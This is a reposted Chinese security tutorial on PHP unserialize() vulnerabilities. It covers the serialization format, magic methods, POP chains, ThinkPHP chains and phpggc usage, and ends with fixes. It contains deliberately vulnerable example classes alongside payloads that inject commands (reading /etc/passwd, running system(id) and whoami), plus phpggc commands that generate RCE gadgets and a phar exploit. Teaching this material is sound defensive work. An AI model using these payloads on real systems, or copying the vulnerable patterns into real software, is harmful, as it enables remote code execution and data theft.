[代码审计]php反序列化

admin 2026-05-20 06:34:34 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析PHP反序列化漏洞机制,涵盖序列化格式、魔术方法触发方式(如destruct、wakeup、__toString)及POP链构造技术,并以ThinkPHP案例和phpggc工具演示实战利用,最后提出避免反序列化用户输入、白名单校验类名和使用JSON格式等修复方案。 综合评分: 85 文章分类: 代码审计,漏洞分析,应用安全


cover_image

[代码审计] php 反序列化

Pik安全实验室

2026年5月18日 16:31 广东

在小说阅读器读本章

去阅读

0x00 介绍

反序列化漏洞是 PHP 中最经典的漏洞类型之一。当程序将用户可控的输入传给 unserialize() 函数时,攻击者可以构造特殊的序列化字符串,在反序列化过程中触发对象中的魔术方法(如 __destruct、__wakeup、__toString 等),从而实现任意代码执行、文件操作等攻击。

0x01 基础概念

序列化与反序列化

PHP 使用 serialize() 将对象、数组等数据结构转换为字符串,方便存储和传输。unserialize() 则将序列化字符串还原为原始数据结构。问题在于:反序列化过程中会自动触发某些魔术方法,如果这些方法中存在危险操作,就构成了反序列化漏洞。

// 序列化示例 class User {     public $name = ‘test’;     public $isAdmin = false; } $u = new User(); echo serialize($u); // 输出: O:4:”User”:2:{s:4:”name”;s:4:”test”;s:7:”isAdmin”;b:0;}

序列化字符串格式

理解序列化字符串的格式是构造 payload 的基础:

// 基本类型 s:4:”test”;      // 字符串: s:长度:”内容” i:123;            // 整数 d:1.5;            // 浮点数 b:1;              // 布尔值 N;                // NULL

// 数组 a:2:{i:0;s:3:”foo”;i:1;s:3:”bar”;}

// 对象 O:4:”User”:2:{s:4:”name”;s:4:”test”;s:7:”isAdmin”;b:0;} // O:类名长度:”类名”:属性数量:{属性键值对}

常见魔术方法

以下魔术方法在反序列化过程中可能被自动触发:

__wakeup()      // unserialize() 时自动调用 __destruct()    // 对象销毁时调用 __toString()    // 对象被当作字符串时调用 __call()        // 调用不存在的方法时触发 __get()         // 读取不可访问的属性时触发 __set()         // 给不可访问的属性赋值时触发 __invoke()      // 对象被当作函数调用时触发 __sleep()       // serialize() 时调用

0x02 漏洞触发方式

方式 1:__destruct 触发

最常见的触发方式。对象在脚本结束或显式销毁时自动调用 __destruct()。

class FileHandler {     public $filename;     function __destruct() {         // 危险:直接用属性拼接命令         system(“rm -rf ” . $this->filename);     } } // 攻击:构造 filename = “; cat /etc/passwd” $payload = ‘O:11:”FileHandler”:1:{s:8:”filename”;s:17:”; cat /etc/passwd”;}’; unserialize($payload); ?>

方式 2:__wakeup 触发

unserialize() 调用时自动触发 __wakeup()。注意:如果序列化字符串中属性数量大于实际数量,可绕过 __wakeup()(PHP 5 < 5.6.25 / PHP 7 < 7.0.10)。

class Connector {     public $host;     function __wakeup() {         $this->connect();     }     function connect() {         // 危险操作         eval(“echo ‘$this->host’;”);     } } // 攻击 payload $payload = ‘O:9:”Connector”:1:{s:4:”host”;s:17:”‘;system(id);//’;}’; unserialize($payload); ?>

方式 3:__toString 触发

当对象被当作字符串使用时(如 echo、字符串拼接)触发 __toString()。

class Template {     public $content;     function __toString() {         return file_get_contents($this->content);     } } // 如果 unserialize 后的对象被 echo $payload = ‘O:8:”Template”:1:{s:7:”content”;s:11:”/etc/passwd”;}’; $obj = unserialize($payload); echo $obj;  // 触发 __toString,读取 /etc/passwd ?>

方式 4:POP 链构造

当单个类的魔术方法不足以完成攻击时,需要串联多个类的方法调用链(POP Chain)。这是反序列化漏洞利用的核心技术。

// POP 链示例:从起点类逐步触发到终点类 class A {     public $obj;     function __destruct() {         $this->obj->action();// 调用 B->action()     } } class B {     public $cmd;     function action() {         system($this->cmd);    // 终点:执行命令     } } // 构造链 $a = new A(); $a->obj = new B(); $a->obj->cmd = ‘whoami’; echo serialize($a); // payload: O:1:”A”:1:{s:3:”obj”;O:1:”B”:1:{s:3:”cmd”;s:6:”whoami”;}} ?>

0x03 实际案例

ThinkPHP 反序列化

ThinkPHP 5.x 存在多个反序列化利用链。核心在于寻找一条从 __destruct 到可执行危险操作(如 call_user_func、system)的调用路径。思路是在框架源码中找到存在危险函数调用的类,逆向追溯调用链。

phpggc 工具使用

phpggc 是 PHP 反序列化 gadget 的生成工具,内置了大量框架和 CMS 的利用链:

列出可用链

phpggc -l

ThinkPHP RCE

phpggc ThinkPHP/RCE1 system whoami

Laravel RCE

phpggc Laravel/RCE1 system id

生成 phar 文件

phpggc -p phar Monolog/RCE1 system whoami > exploit.phar

0x04 修复方案

  1. 避免反序列化用户输入

永远不要对用户可控的数据调用 unserialize()。使用 JSON 等安全格式替代。

  1. 白名单校验类名

如果必须反序列化,限制允许的类。

// 限制反序列化可用的类 $allowed = [‘User’, ‘Product’, ‘Order’]; $data = unserialize($input, [‘allowed_classes’ => $allowed]);

  1. 使用安全序列化格式

优先使用 json_encode/json_decode 代替 serialize/unserialize。json 不支持对象,天然免疫反序列化攻击。

本文仅作安全研究与学习用途,用于非法行为后果自行承担。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Pik安全实验室 《[代码审计] php 反序列化》

评论:0   参与:  0